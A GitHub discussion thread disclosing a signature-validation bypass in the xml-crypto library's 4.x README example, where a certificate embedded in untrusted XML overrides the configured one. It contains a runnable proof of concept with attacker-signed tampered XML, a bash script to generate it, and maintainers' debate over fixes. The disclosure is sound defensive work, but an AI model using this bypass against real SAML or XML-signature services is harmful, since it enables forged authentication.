xml-crypto's (at least 4.x.x) signature validation example contains validation bypass issue (affects maybe migrations from 3.x to 4.x also)

[srd90]

Starting this as a discussion because this is at least not yet an issue and more like an possible oversight at the documentation and oversight from users of this library if they choose to follow that example without criticism.

Links to codebase point to xml-crypto's version 4.1.0 (aka 06cab681037981a4a9dffe27d3463f9f8014b12e). Example code is also written against that version.

I stumbled into this line (while browsing through codebase without any actual goal):

xml-crypto/src/signed-xml.ts

Line 335 in 06cab68

const key = this.getCertFromKeyInfo(this.keyInfo) || this.publicCert || this.privateKey;

That line prefers certificate from Signature/KeyInfo/X509Data/X509Certificate over any other certificate sources.

At the same time example at the README.md#verifying-xml-documents encourages users to read content
of the Signature element (along with KeyInfo elements) into instance of SignedXML from input XML which is possibly under the control of attacker before it is submitted to system:

xml-crypto/README.md

Lines 137 to 145 in 06cab68

	var xml = fs.readFileSync("signed.xml").toString();
	var doc = new dom().parseFromString(xml);
	var signature = select(
	doc,
	"//*[local-name(.)='Signature' and namespace-uri(.)='http://www.w3.org/2000/09/xmldsig#']",
	)[0];
	var sig = new SignedXml({ publicCert: fs.readFileSync("client_public.pem") });
	sig.loadSignature(signature);

i.e. at the runtime result is going to be:

// content of fs.readFileSync("client_public.pem")
this.publicCert = certificate_from_trusted_source
// content of input xml's Signature (which is feed into system by user or by attacker)
// i.e. conent of the Signature/KeyInfo -element
// along with certificate it was embedded into Signature ( Signature/KeyInfo/X509Data/X509Certificate )
this.keyInfo = KeyInfo_along_with_certificate
// note: getCertFromKeyInfo is set to default implementation

due these:

xml-crypto/src/signed-xml.ts

Line 141 in 06cab68

this.publicCert = publicCert;

xml-crypto/src/signed-xml.ts

Lines 506 to 511 in 06cab68

	const keyInfo = xpath.select1(".//*[local-name(.)='KeyInfo']", signatureNode);
	// TODO: should this just be a single return instead of an array that we always take the first entry of?
	if (xpath.isNodeLike(keyInfo)) {
	this.keyInfo = keyInfo;
	}

xml-crypto/src/signed-xml.ts

Line 152 in 06cab68

this.getCertFromKeyInfo = getCertFromKeyInfo ?? this.getCertFromKeyInfo;

when signature is validated control flow is (assuming that input XML contains KeyInfo/X509Data/X509Certificate):

1. xml-crypto/src/signed-xml.ts

   Lines 332 to 335 in 06cab68

   	validateSignatureValue(doc: Document, callback?: ErrorFirstCallback<boolean>): boolean | void {
   	const signedInfoCanon = this.getCanonSignedInfoXml(doc);
   	const signer = this.findSignatureAlgorithm(this.signatureAlgorithm);
   	const key = this.getCertFromKeyInfo(this.keyInfo) || this.publicCert || this.privateKey;

2. xml-crypto/src/signed-xml.ts

   Lines 211 to 215 in 06cab68

   	static getCertFromKeyInfo(keyInfo?: Node | null): string | null {
   	if (keyInfo != null) {
   	const certs = xpath.select1(".//*[local-name(.)='X509Certificate']", keyInfo);
   	if (xpath.isNodeLike(certs)) {
   	return utils.derToPem(certs.textContent || "", "CERTIFICATE");

3. and value of the key (certificate to be used to validate signature) is taken from input XML

If some system uses approach instructed at the example then attacker can bypass signature
validation just by signing document with his/her own key and by adding that key's certificate into KeyInfo.

---

Example:

// mkdir test
// cd test
// npm init
// npm install --save-exact [email protected]
// and following content into index.js
// -------------------------------------
// This is meant to test/demonstrate xml-crypto 4.1.0's example
// implementation's possible validation bypass issue.
// This issue might exists in previous versions also.
//
// reference to 4.1.0's codebase
// https://github.com/node-saml/xml-crypto/tree/v4.1.0
// with exact version (commit hash):
// https://github.com/node-saml/xml-crypto/tree/06cab681037981a4a9dffe27d3463f9f8014b12e
// -------------------------------------
//
// Lets take signature validation example from 4.1.0's README.md
// https://github.com/node-saml/xml-crypto/tree/06cab681037981a4a9dffe27d3463f9f8014b12e#verifying-xml-documents
// https://github.com/node-saml/xml-crypto/blob/06cab681037981a4a9dffe27d3463f9f8014b12e/README.md?plain=1#L132-L147
// and modify it slightly
// 1) select --> xpath.select
// 2) instead of reading from files use in place test data
//    which was generated with script introduced at the end of
//    this xml-crypto discussion item

function validate_example_from_xml_crypto_4_1_0(signed_xml) {
  // instead of reading client_public.pem from filesystem
  //
  // This is content of the VALID_PUBLIC_CERT_FILE at the script
  // inroduced to the end of this discussion item
  var client_public_pem = `
-----BEGIN CERTIFICATE-----
MIIBxDCCAW6gAwIBAgIQxUSXFzWJYYtOZnmmuOMKkjANBgkqhkiG9w0BAQQFADAW
MRQwEgYDVQQDEwtSb290IEFnZW5jeTAeFw0wMzA3MDgxODQ3NTlaFw0zOTEyMzEy
MzU5NTlaMB8xHTAbBgNVBAMTFFdTRTJRdWlja1N0YXJ0Q2xpZW50MIGfMA0GCSqG
SIb3DQEBAQUAA4GNADCBiQKBgQC+L6aB9x928noY4+0QBsXnxkQE4quJl7c3PUPd
Vu7k9A02hRG481XIfWhrDY5i7OEB7KGW7qFJotLLeMec/UkKUwCgv3VvJrs2nE9x
O3SSWIdNzADukYh+Cxt+FUU6tUkDeqg7dqwivOXhuOTRyOI3HqbWTbumaLdc8juf
z2LhaQIDAQABo0swSTBHBgNVHQEEQDA+gBAS5AktBh0dTwCNYSHcFmRjoRgwFjEU
MBIGA1UEAxMLUm9vdCBBZ2VuY3mCEAY3bACqAGSKEc+41KpcNfQwDQYJKoZIhvcN
AQEEBQADQQAfIbnMPVYkNNfX1tG1F+qfLhHwJdfDUZuPyRPucWF5qkh6sSdWVBY5
sT/txBnVJGziyO8DPYdu2fPMER8ajJfl
-----END CERTIFICATE-----
`;

  var xpath = require("xpath"), // select = require("xml-crypto").xpath
    dom = require("@xmldom/xmldom").DOMParser,
    SignedXml = require("xml-crypto").SignedXml,
    fs = require("fs");

  // signed xml is provided as parameter instead of reading from filesystem
  var xml = signed_xml; // fs.readFileSync("signed.xml").toString();
  var doc = new dom().parseFromString(xml);

  var signature = xpath.select(
    "//*[local-name(.)='Signature' and namespace-uri(.)='http://www.w3.org/2000/09/xmldsig#']",
    doc
  )[0];
  var sig = new SignedXml({ publicCert: client_public_pem /* fs.readFileSync("client_public.pem") */ });
  sig.loadSignature(signature);
  var res = sig.checkSignature(xml);
  if (!res) console.log(sig.validationErrors);
}

// now lets test that content is validated properly when we feed into
// the system a XML file which is signed with holder of the key that matches
// with ceritificate at "client_public.pem" file
//
// This XML was generated with script that is attached to the end of this
// xml-crypto discussion item (XML_SIGNED_WITH_VALID_KEY)
//
// NOTE: X509Certificate element value matches with value of "client_public_pem"
var XML_signed_with_key_that_matches_with_client_public_pem = `
<?xml version="1.0"?>
<library>
  <book ID="bookid">
    <name>some text</name>
  </book>
  <Signature xmlns="http://www.w3.org/2000/09/xmldsig#">
    <SignedInfo>
      <CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
      <SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>
        <Reference URI="#bookid">
          <Transforms>
            <Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
          </Transforms>
          <DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/>
          <DigestValue>HWlcYzg3BYOc3jHCdcKc2bS9O8Q=</DigestValue>
        </Reference>
    </SignedInfo>
    <SignatureValue>XdawHCtwsLhxYYq4FaYwCejLmx3rDRHYqmsDlRt/ODRw0nTCVKGSSnxC64vD0+Sr
JFgysdKlROMw7qkp+JKHXW7GSQHpi07XB4n7ytZTu+7EuIoRMTJ0+8cJgwJqzJE/
chA5AVLvRBQ2QVbBHpW1SpFi3dHb6dtw/O4L5TUZXWk=</SignatureValue>
    <KeyInfo>
      <X509Data>
        <X509Certificate>MIIBxDCCAW6gAwIBAgIQxUSXFzWJYYtOZnmmuOMKkjANBgkqhkiG9w0BAQQFADAW
MRQwEgYDVQQDEwtSb290IEFnZW5jeTAeFw0wMzA3MDgxODQ3NTlaFw0zOTEyMzEy
MzU5NTlaMB8xHTAbBgNVBAMTFFdTRTJRdWlja1N0YXJ0Q2xpZW50MIGfMA0GCSqG
SIb3DQEBAQUAA4GNADCBiQKBgQC+L6aB9x928noY4+0QBsXnxkQE4quJl7c3PUPd
Vu7k9A02hRG481XIfWhrDY5i7OEB7KGW7qFJotLLeMec/UkKUwCgv3VvJrs2nE9x
O3SSWIdNzADukYh+Cxt+FUU6tUkDeqg7dqwivOXhuOTRyOI3HqbWTbumaLdc8juf
z2LhaQIDAQABo0swSTBHBgNVHQEEQDA+gBAS5AktBh0dTwCNYSHcFmRjoRgwFjEU
MBIGA1UEAxMLUm9vdCBBZ2VuY3mCEAY3bACqAGSKEc+41KpcNfQwDQYJKoZIhvcN
AQEEBQADQQAfIbnMPVYkNNfX1tG1F+qfLhHwJdfDUZuPyRPucWF5qkh6sSdWVBY5
sT/txBnVJGziyO8DPYdu2fPMER8ajJfl</X509Certificate>
      </X509Data>
    </KeyInfo>
  </Signature>
</library>
`;


console.log("----------------------------------------------------");
console.log("START: Testing with xml that was signed with holder of the key that matches with client_public.pem certificate");
console.log("");
validate_example_from_xml_crypto_4_1_0(
  XML_signed_with_key_that_matches_with_client_public_pem
);
// we should NOT receive any errors
console.log("if you do not see any errors at above everything worked as expected");

// now attacker has decided to feed into the system a XML document which has
// been signed with key that attacker has created
//
// This XML was generated with script that is attached to the end of this
// xml-crypto discussion item (XML_SIGNED_WITH_ATTACKERS_KEY)
//
// NOTE: content of X509Certificate element DOES NOT match with content of "client_public.pem"
// that is supposedly used to validate signature of the content of XML. In fact
// content of the X509Certificate is cert that matches with key that attacker
// has created and used to sign this document.
// NOTE2: attacker has choosed to change name of the book to "TAMPERED some text"
var XML_signed_with_key_that_DOES_NOT_match_with_client_public_pem = `
<?xml version="1.0"?>
<library>
  <book ID="bookid">
    <name>TAMPERED some text</name>
  </book>
  <Signature xmlns="http://www.w3.org/2000/09/xmldsig#">
    <SignedInfo>
      <CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
      <SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>
        <Reference URI="#bookid">
          <Transforms>
            <Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
          </Transforms>
          <DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/>
          <DigestValue>U9G0PmICYLSaqB2A0ScCeshG7i8=</DigestValue>
        </Reference>
    </SignedInfo>
    <SignatureValue>Xt8Eevodcd9ETuod2fBQNiB/QaDrmjj9Y4iU/Jdvtn1GxcqjRbMU6YofE2LWAFjF
7KVFiyUsyNJ3z34P9PMq7m2YoCi4XDunBr2PfLnrVyuafpX9cM6WP/z+ncqayjZz
iBme1u+eZd5s53PNNeHMlgZid/pIFOKcNaOyhvYjkX739DWQOEHN8ngWetSKh/Wx
UIG9hpamuvVaUWJ/xw9uM+FBd9cUehKpkb8Kv9Q2C++VucpbYuQidQBIzDActoxx
gWneGDcQgS/LrleU09sxR7wz3CvjvOQEasr7140x4a20Utg5auZxO7aTmSwcMDao
nzRj0M27HxZJce0ay0o42A==</SignatureValue>
    <KeyInfo>
      <X509Data>
        <X509Certificate>MIICrjCCAZYCCQDWybyUsLVkXzANBgkqhkiG9w0BAQsFADAZMRcwFQYDVQQDFA5h
Y21lX3Rvb2xzLmNvbTAeFw0xNTA4MTgwODQ3MzZaFw0yNTA4MTcwODQ3MzZaMBkx
FzAVBgNVBAMUDmFjbWVfdG9vbHMuY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A
MIIBCgKCAQEAlyT+OzEymhaZFNfx4+HFxZbBP3egvcUgPvGa7wWCV7vyuCauLBqw
O1FQqzaRDxkEihkHqmUz63D25v2QixLxXyqaFQ8TxDFKwYATtSL7x5G2Gww56H0L
1XGgYdNW1akPx90P+USmVn1Wb//7AwU+TV+u4jIgKZyTaIFWdFlwBhlp4OBEHCyY
wngFgMyVoCBsSmwb4if7Mi5T746J9ZMQpC+ts+kfzley59Nz55pa5fRLwu4qxFUv
2oRdXAf2ZLuxB7DPQbRH82/ewZZ8N4BUGiQyAwOsHgp0sb9JJ8uEM/qhyS1dXXxj
o+kxsI5HXhxp4P5R9VADuOquaLIo8ptIrQIDAQABMA0GCSqGSIb3DQEBCwUAA4IB
AQBW/Y7leJnV76+6bzeqqi+buTLyWc1mASi5LVH68mdailg2WmGfKlSMLGzFkNtg
8fJnfaRZ/GtxmSxhpQRHn63ZlyzqVrFcJa0qzPG21PXPHG/ny8pN+BV8fk74CIb/
+YN7NvDUrV7jlsPxNT2rQk8G2fM7jsTMYvtz0MBkrZZsUzTv4rZkF/v44J/ACDir
KJiE+TYArm70yQPweX6RvYHNZLSzgg4o+hoyBXo5BGQetAjmcIhC6ZOwN3iVhGjp
0YpWM0pkqStPy3sIR0//LZbskWWlSRb0fX1c4632Xb+zikfec4DniYV6CxkB2U+p
lHpOX1rt1R+UiTEIhTSXPNt/</X509Certificate>
      </X509Data>
    </KeyInfo>
  </Signature>
</library>
`;


console.log("----------------------------------------------------");
console.log("START: Testing with xml that was signed with holder of the key that matches with client_public.pem certificate");
console.log("");
validate_example_from_xml_crypto_4_1_0(
  XML_signed_with_key_that_DOES_NOT_match_with_client_public_pem
);
// we MUST receive validation errors
console.log("if you do did NOT see any errors at above attacker just managed to BYPASS signature validation process");
console.log("THERE SHOULD have been validation errors due mismatch of certificate used configured to SignedXml and key used to sign this document")
console.log("----------------------------------------------------");

/*
Output of the program is at the moment (with xml-crypto 4.1.0):

----------------------------------------------------
START: Testing with xml that was signed with holder of the key that matches with client_public.pem certificate

if you do not see any errors at above everything worked as expected
----------------------------------------------------
START: Testing with xml that was signed with holder of the key that matches with client_public.pem certificate

if you do did NOT see any errors at above attacker just managed to BYPASS signature validation process
THERE SHOULD have been validation errors due mismatch of certificate used configured to SignedXml and key used to sign this document
----------------------------------------------------
*/

Script that was used to generate test material (just in case someone wants to replicate this):

#!/bin/bash

KEY_CERT_DIR=/tmp/xmlcryptotesting

SIGNED_DOCUMENT_TEMPLATE_FILE=$KEY_CERT_DIR/signed_document_template.xml
TAMPERED_SIGNED_DOCUMENT_TEMPLATE_FILE=$KEY_CERT_DIR/tampered_signed_document_template.xml


VALID_KEY_FILE=$KEY_CERT_DIR/valid_key.pem
VALID_PUBLIC_CERT_FILE=$KEY_CERT_DIR/valid_cert.pem
VALID_KEY_CERT_KEYSTORE_FILE=$KEY_CERT_DIR/valid_key_cert_keystore.p12
XML_SIGNED_WITH_VALID_KEY=$KEY_CERT_DIR/xml_signed_with_valid_key.xml

ATTACKERS_KEY_FILE=$KEY_CERT_DIR/attackers_key.pem
ATTACKERS_PUBLIC_CERT_FILE=$KEY_CERT_DIR/attackers_public_cert.pem
ATTACKERS_KEY_CERT_KEYSTORE_FILE=$KEY_CERT_DIR/attackers_key_cert_keystore.p12
XML_SIGNED_WITH_ATTACKERS_KEY=$KEY_CERT_DIR/xml_signed_with_attackers_key.xml


mkdir -p $KEY_CERT_DIR

# this cert / key pair represent legitime signer
curl \
  https://raw.githubusercontent.com/node-saml/xml-crypto/v4.1.0/test/static/client.pem \
  > $VALID_KEY_FILE
curl \
  https://raw.githubusercontent.com/node-saml/xml-crypto/v4.1.0/test/static/client_public.pem \
  > $VALID_PUBLIC_CERT_FILE

openssl \
  pkcs12 \
  -nodes \
  -export \
  -out $VALID_KEY_CERT_KEYSTORE_FILE \
  -inkey $VALID_KEY_FILE \
  -in $VALID_PUBLIC_CERT_FILE \
  -passout pass:password

# using node-saml's key/cert for attacker's key and cert (something that
# is different than things above)
curl \
  https://raw.githubusercontent.com/node-saml/node-saml/v4.0.5/test/static/acme_tools_com.key \
  > $ATTACKERS_KEY_FILE
curl \
  https://raw.githubusercontent.com/node-saml/node-saml/v4.0.5/test/static/acme_tools_com.cert \
  > $ATTACKERS_PUBLIC_CERT_FILE

openssl \
  pkcs12 \
  -nodes \
  -export \
  -out $ATTACKERS_KEY_CERT_KEYSTORE_FILE \
  -inkey $ATTACKERS_KEY_FILE \
  -in $ATTACKERS_PUBLIC_CERT_FILE \
  -passout pass:password


cat <<EOF >$SIGNED_DOCUMENT_TEMPLATE_FILE
<library>
  <book ID="bookid">
    <name>some text</name>
  </book>
  <Signature xmlns="http://www.w3.org/2000/09/xmldsig#">
    <SignedInfo>
      <CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
      <SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>
        <Reference URI="#bookid">
          <Transforms>
            <Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
          </Transforms>
          <DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/>
          <DigestValue/>
        </Reference>
    </SignedInfo>
    <SignatureValue/>
    <KeyInfo>
      <X509Data>
        <X509Certificate/>
      </X509Data>
    </KeyInfo>
  </Signature>
</library>
EOF

cat $SIGNED_DOCUMENT_TEMPLATE_FILE \
  | sed -e 's/some text/TAMPERED some text/' \
  > $TAMPERED_SIGNED_DOCUMENT_TEMPLATE_FILE

xmlsec1 \
  --sign \
  --id-attr:ID book \
  --output $XML_SIGNED_WITH_VALID_KEY \
  --pkcs12 $VALID_KEY_CERT_KEYSTORE_FILE \
  --pwd password \
  $SIGNED_DOCUMENT_TEMPLATE_FILE

xmlsec1 \
  --sign \
  --id-attr:ID book \
  --output $XML_SIGNED_WITH_ATTACKERS_KEY \
  --pkcs12 $ATTACKERS_KEY_CERT_KEYSTORE_FILE \
  --pwd password \
  $TAMPERED_SIGNED_DOCUMENT_TEMPLATE_FILE

---

IMHO this issue can affect also those who migrate from 3.x to 4.x if their 3.x based implementation looked something like README's example validation code and if they do minimal amount of modifications to make it work with 4.x (minimal amount can be seen from example code snippet). Furthermore their migrated codebase would start to accept silently documents that are signed by attacker (if they don't have proper integration tests in place to validate that under every circumstance only documents which are signed with "client_public.pem" are valid).

---

Example code used version 4.1.0 which has also this signature validation bypass vulnerability #378 but IMHO lack of fix to that (i.e. not using more recent version) would not have any effect how codebase would work under in the cases introduced in this message (and after all 4.1.0 is still most recent published version).

---

IMHO 3.x codebase is unaffected because it doesn' t lookup X509Certificate element from anywhere (at least I didn't spot such code when I quickly looked into that codebase). Situation might be by product of this PR #301. ... and now - after all this writing - I searched KeyInfo related issues and I bumped into this #375 (by @IlyaRazuvaev) which seems to be a issue report that says that after upgrade to 4.x there is issues with SAML messages which have signed response and signed assertions (i.e. two KeyInfo elements in the document) and furthermore reporter seems to have noticed same behaviour (that certificate at SAML messages X509Certitificate element overrides whats being configured by developer to xml-crypto stack).

ping @cjbarth @markstos @LoneRifle @djaqua

[srd90]

One way to force usage of configured publicCert (instead of taking cert from input XML)

new SignedXml(
  {
    publicCert: client_public_pem
  }
)

seems to be to modify aforementioned configuration so that one overrides default getCertFromKeyInfo with a function that returns always falsy):

new SignedXml(
  {
    publicCert: client_public_pem,
    getCertFromKeyInfo: () => undefined
  }
);

and after that this code would use this.publicCert:

xml-crypto/src/signed-xml.ts

Line 335 in 06cab68

const key = this.getCertFromKeyInfo(this.keyInfo) || this.publicCert || this.privateKey;

but IMHO this should be default behaviour.

I.e. it should be impossible to accidentally after migration from 3.x or via any other "paths" to end up using embedded certificate from untrusted input XML for validation purposes.

If someone wants to accept embedded certificate for such purposes (use case could be something like: "if embedded certificate is signed by trusted CA then use it to validate submitted XML document's signatures") then he/she would have to implement this behaviour explicitly.

I mean default implementation of getCertificateFromKeyInfo should be () => undefined and precedence order of certificate source should be different (getCertificateFromKeyInfo should be weakest).

OR if publicCert option is provided then it is used without exceptions. If it is not provided then library user could implement some getCerts(...) function (parameters would contain reference to Signature element which is being validated and it would be up to SW developer whether he/she would return certificates from KeyInfo of that Signature or whether he/she would use yet-another-source for certificate(s) for signature validation).

disclaimer: I did not spend too much time to think all possible corner cases / implications of possibilities listed in this particular message.

[cjbarth]

@LoneRifle , I'm OK with making the default behavior opt-in for all cases. We can include the code for getCertFromKeyInfo(), but force the consumer to 'turn it on', like we do with using publicCert and privateKey. That would preserver all existing functionality, but force people to think about what they are doing. We've taken an approach with @markstos over at node-saml. Where we can't choose a default that is secure and works for everyone, we choose no default and make things throw if the consumer doesn't make a decision.

What do you think of that?

Side note: I've started to do this in #405. It isn't so hard to rip out defaults and it certainly causes people to think about what they are doing. That PR is an attempt to address #376.

[LoneRifle]

I think that makes sense! My only annoyance is that this discussion should be in #404

[cjbarth]

v5 has been released to address this.

[srd90]

IMHO PR that addressed this issue has bug. Instead of setting getCertFromKey to "noop" it sets getKeyInfoContent to "noop" and as far as I can interpret codebase (by browsing it instead of running in debugger) getKeyInfoContent with value "noop" doesn't block "XML is re-signed with attacker's key scenario ... so that attacker adds also his/her key's cert to XML signature. See additional comments from #411 (comment)

[cjbarth]

@srd90 , you're right. I've correct this problem in #445, but I would like to get @LoneRifle to review it.

[cjbarth]

@LoneRifle , what do you think of this? I'm getting close to releasing a semver-major release, and what @srd90 is suggesting would be a breaking change. I'm inclined to try to get this into the next release. Do you have time/interest in addressing this?

[srd90]

As of now weekly download rate for xml-crypto is about 1 000 000 for versions < 4.0.0 and about 7 500 for versions >= 4.0.0 ( https://www.npmjs.com/package/xml-crypto?activeTab=versions ) and number of public dependents about 400. At GH side number of public dependents is about 12 000 repositories and 320 packages ( https://github.com/node-saml/xml-crypto/network/dependents ) and who knows how much there is private projects depending on this.

xml-crypto seems to be ”infrastructure level” component for javascript/typescript worlds XML signatures.

If even small percentage doesn't pay close attention (while migrating from < 4.0.0 to >= 4.x) to actual source of certificate that is being used for signature validation there is going to be quite a few services out there which shall have signature bypass vulnerability due modification of the signed XML and resigning of message with attackers own key (and attaching attacker's key's certificate to signature). Unless library is modified so that it requires extra work to start using embedded certificate from untrusted source.

[LoneRifle]

It seems that the resolution is simply to prefer SignedXml's own certs over one supplied in the message. I don't mind looking into the PR.

With respect to release schedule, I would suggest releasing as you have planned, then quickly making a major release after that incorporating the breaking change. What you will use in node-saml will be left to you to decide

[LoneRifle]

@srd90 - actually, wait. is this even an issue? W3C states in section 3.2.2 of XML Signature Syntax and Processing (Second Edition)¹ that the signature value has to be validated against the information found in <KeyInfo>. It is expected behaviour that the signature presented in a given XML document may not be signed using the key as configured in SignedXml.publicCert.

In other words, this isn't bypassing signature validation per se as it is simply validating the signature given in the request. It is up to the application to then decide whether it is a problem that the certificate presented does not match up with SignedXml.publicCert.

See also this StackOverflow post².

cc @cjbarth and @shunkica , who discussed the original intent of getKeyInfo() and whether there is a need to support validation using <X509Data>

Footnotes

1. https://www.w3.org/TR/2008/REC-xmldsig-core-20080610/#sec-CoreValidation ↩

2. https://stackoverflow.com/questions/1703301/saml-why-is-the-certificate-within-the-signature ↩

[cjbarth]

In the specification you linked to, there is this in 4.4 (emphasis mine):

KeyInfo is an optional element that enables the recipient(s) to obtain the key needed to validate the signature.  KeyInfo may contain keys, names, certificates and other public key management information, such as in-band key distribution or key agreement data. This specification defines a few simple types but applications may extend those types or all together replace them with their own key identification and exchange semantics using the XML namespace facility. [XML-ns] However, questions of trust of such key information (e.g., its authenticity or  strength) are out of scope of this specification and left to the application.

It therefore seems that what is really needed is a method to reveal if the provided signature and the KeyInfo signature don't match.

[srd90]

Disclaimer: I'm not an expert of XML signatures. This comment may contain incorrect terminology and/or misunderstandings of specs etc. etc.

@LoneRifle wrote:

...is this even an issue? W3C states in section 3.2.2 of XML Signature Syntax and Processing (Second Edition) that the signature value has to be validated against the information found in <KeyInfo>. It is expected behaviour that the signature presented in a given XML document may not be signed using the key as configured in SignedXml.publicCert.

Here are two quotes from: https://www.w3.org/TR/2008/REC-xmldsig-core-20080610

First from: https://www.w3.org/TR/2008/REC-xmldsig-core-20080610/#sec-o-Simple

[s14-16] KeyInfo indicates the key to be used to validate the signature. Possible forms for identification include certificates, key names, and key agreement algorithms and information -- we define only a few. KeyInfo is optional for two reasons. First, the signer may not wish to reveal key information to all document processing parties. Second, the information may be known within the application's context and need not be represented explicitly. Since KeyInfo is outside of SignedInfo, if the signer wishes to bind the keying information to the signature, a Reference can easily identify and include the KeyInfo as part of the signature.

Two things pops up:

1. ...KeyInfo is optional...

2. ...the information may be known within the application's context and need not be represented explicitly...

Second from: https://www.w3.org/TR/2008/REC-xmldsig-core-20080610/#sec-CoreValidation

3.2.2 Signature Validation

1. Obtain the keying information from KeyInfo or from an external source.
2. Obtain the canonical form of the SignatureMethod using the CanonicalizationMethod and use the result (and previously obtained KeyInfo) to confirm the SignatureValue over the SignedInfo element.

One thing pops up

1. ...or from an external source

So if KeyInfo is exchanged between parties via some trusted "side channel" (signed email, SAML IdP metadata from trusted source, ....) then it seems OK that application uses KeyInfo from trusted source (from place where KeyInfo exchanged via side channel is stored, e.g. from local disk) without ever even peeking whether Signature had embedded KeyInfo.

@LoneRifle wrote:

In other words, this isn't bypassing signature validation per se as it is simply validating the signature given in the request. It is up to the application to then decide whether it is a problem that the certificate presented does not match up with SignedXml.publicCert.

(Just to make sure that we are on the same page: as of now 4.x up to at least 4.1.0 prefers by default embedded KeyInfo's certificate if such certificate exists without any validation whether it can be used for signature validation)

Lets assume that input had KeyInfo with X509Certificate. How would application validate that it matches with whats being configured to SignedXml.publicCert?

Simplest way to do such validation would be to compare that with SignedXml.publicCert (in pseudocode):

if (publicCert === value_of_input's_KeyInfo_X509Data_X509Certiticate) {
  input's embedded X509Cert can be used for signature validation...
} else {
  throw Error...
}

and this would be exactly same thing as ignoring value at input's KeyInfo and using SignedXml.publicCert (i.e. KeyInfo from "external source").

Lets call aforementioned validation "certificate pinning" (i.e. application is configured to accept KeyInfo's X509Certificate if and only if it matches bit by bit with configured publicCert)

Other ways to validate that input's embedded KeyInfo's X509Certificate can be used to signature validation would be (in pseudocode):

const someTrustedRootCA = ...
if (there is a valid cert chain from input's KeyInfo's X509Cert to someTrustedRootCA) {
  input's embedded X509Cert can be used for signature validation...
} else {
  throw Error...
}

There are probably whole lot of more ways to validate various keys / key types / public certs / public keys and so forth...

Lets see how 3.2.0 behaved and what sort of convenience code it provided to library users (777e157 is commit hash of 3.2.0):

1. Application code provides keyInfoProvider:

   xml-crypto/README.md

   Line 147 in 777e157

   sig.keyInfoProvider = new FileKeyInfo("client_public.pem");

2. During loadSignature it stores KeyInfo from input XML (if there isn't any value is probably undefined or something like that. I did not spend time actually running this code in debugger):

   xml-crypto/lib/signed-xml.js

   Line 614 in 777e157

   this.keyInfo = xpath.select(".//*[local-name(.)='KeyInfo']", signatureNode);

3. During checkSignature it hands over whatever it stored to this.keyInfo to implementation of keyInfoProvider's getKey method:

   xml-crypto/lib/signed-xml.js

   Line 352 in 777e157

   this.signingKey = this.keyInfoProvider.getKey(this.keyInfo);

   and stores return value of getKey to this.signingKey

4. validateSignatureValue invocation:

   xml-crypto/lib/signed-xml.js

   Line 376 in 777e157

   if (!this.validateSignatureValue(doc)) {

   validates signature by using whatever was stored to this.signingKey:

   xml-crypto/lib/signed-xml.js

   Line 442 in 777e157

   var res = signer.verifySignature(signedInfoCanon, this.signingKey, this.signatureValue, callback);

Now lets see what convenience keyInfoProvider implementations xml-crypto <= 3.2.0 provided for applications:

xml-crypto/lib/string-key-info.js

Lines 6 to 38 in 777e157

	function StringKeyInfo(key) {
	this.key = key;
	}
	/**
	* Builds the contents of a KeyInfo element as an XML string.
	*
	* Currently, this returns exactly one empty X509Data element
	* (e.g. "<X509Data></X509Data>"). The resultant X509Data element will be
	* prefaced with a namespace alias if a value for the prefix argument
	* is provided. In example, if the value of the prefix argument is 'foo', then
	* the resultant XML string will be "<foo:X509Data></foo:X509Data>"
	*
	* @param key (not used) the signing/private key as a string
	* @param prefix an optional namespace alias to be used for the generated XML
	* @return an XML string representation of the contents of a KeyInfo element
	*/
	StringKeyInfo.prototype.getKeyInfo = function (key, prefix) {
	prefix = prefix || "";
	prefix = prefix ? prefix + ":" : prefix;
	return "<" + prefix + "X509Data></" + prefix + "X509Data>";
	};
	/**
	* Returns the value of the signing certificate based on the contents of the
	* specified KeyInfo.
	*
	* @param keyInfo (not used) an array with exactly one KeyInfo element
	* @return the signing certificate as a string
	*/
	StringKeyInfo.prototype.getKey = function (keyInfo) {
	return this.key;
	};

xml-crypto/lib/file-key-info.js

Lines 9 to 17 in 777e157

	function FileKeyInfo(file) {
	var key = fs.readFileSync(file);
	StringKeyInfo.apply(this, [key]);
	}
	FileKeyInfo.prototype = StringKeyInfo.prototype;
	FileKeyInfo.prototype.constructor = FileKeyInfo;
	module.exports = FileKeyInfo;

Both of those convenience implementations ignore completely value of this.keyInfo (which was provided as an argument for getKey method invocation).

I.e. both of those keyInfoProvider implementations returned "key from an external source" without ever peeking content of input XML's KeyInfo. They don't even care whether there existed KeyInfo at all.

IMHO <= 3.2.0's approach is beautiful. It is obvious how one would be able to introduce e.g. "check input XML's KeyInfo's content against some cert chain where top most cert is trusted root CA before using embedded key for validation" or whatever other strategy. I.e. just implement your own KeyInfoProvider which performs whatever validation is needed to input XML's embedded KeyInfo before using that information to signature validation. Default implementations used only "pinned certificates" and made no attempt to use input XML's embedded KeyInfo (thus making themselves immune to possibly poisonous KeyInfos / making themselves immune to all the possibilities to implement KeyInfo's certificate/key validation incorrecly).

> 4.x changed "game field" so that it picks embedded KeyInfo's X509Certificate for validation by default and without any validation. If 4.x chooses to keep on walking this path (using input KeyInfo in any way in the code provided by the library) it should perform at most "bitwise validation" of input X509Certificate against configured publicCert (which would be same thing as using publicCert in the first place)

Without any further ado: IMHO re-introduction of 3.x codebase's approach would solve this problem once and for all and if someone wants to use input's KeyInfo's key(s) for validation it is his/her responsibility to do it correctly with all the required validations for content of KeyInfo.

[LoneRifle]

@srd90 - sorry, I'm not convinced. 3.x behaved this way purely by coincidence: the original authors never got round to fully implementing or documenting how getKeyInfo() is meant to work. 777e157 had the jsdoc you found only because the current team made a best effort basis to trying to understand and document what is happening with the package.

